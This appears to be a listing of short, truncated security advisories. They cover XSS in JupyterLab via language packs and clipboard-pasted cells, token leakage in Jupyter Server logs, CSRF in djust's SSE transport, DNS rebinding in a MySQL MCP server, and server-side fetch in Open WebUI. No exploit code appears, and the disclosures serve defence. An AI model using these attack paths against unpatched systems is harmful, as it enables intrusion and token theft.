JupyterLab: Cross-site scripting (XSS) in JupyterLab via crafted language package (jupyterlab.json)

DescriptionA language pack ships a Plural-Forms header saying how the language counts, for example nplurals=2; plural=n != 1;. JupyterLab turns that string into a function with new Function, so the header gets executed. The check that meant to keep it safe was a regular expression. The regex was...

JupyterLab: Cross-site scripting (XSS) in JupyterLab via notebook cells pasted from the system clipboard

DescriptionJupyterLab 4.5.0 enabled copying and pasing cells through the system clipboard. The paste path parses clipboard text as cell JSON and inserts the cells without clearing metadata.trusted, so a payload can declare its own output as trusted.

Jupyter Server: 5xx request logging leaks token-bearing Referer header values

SummaryWhen a request returns a 500, jupyterserver/log.py logs a small JSON block of request headers. The Referer header was copied into it as-is, so a token in the Referer URL ended up in the logs in plain text. ImpactAnyone who can read the server logs can pick tokens out of these 500 entries...

djust has Cross-Site Request Forgery on the Server-Sent-Events transport: a cross-origin page can drive a victim-authenticated SSE session

ImpactThe SSE client→server POST endpoints are @csrfexempt and the SSE GET stream endpoint had no Origin check, so a cross-origin page could drive a victim-cookie-authenticated SSE session: force the victim's browser to GET the stream URL which creates and mounts a LiveView as the victim and POST...

MySQL MCP Server: Missing Origin/Host Validation in SSE Transport Enables Unauthenticated SQL Execution (DNS Rebinding / Direct Exposure)

As a result, the MCP Python SDK's DNS-rebinding protection Origin/Host header validation is disabled; the Starlette application has no CORS or TrustedHost middleware; and the service...

Open WebUI: Any authenticated user can reach the Azure platform channel via server-side web fetch
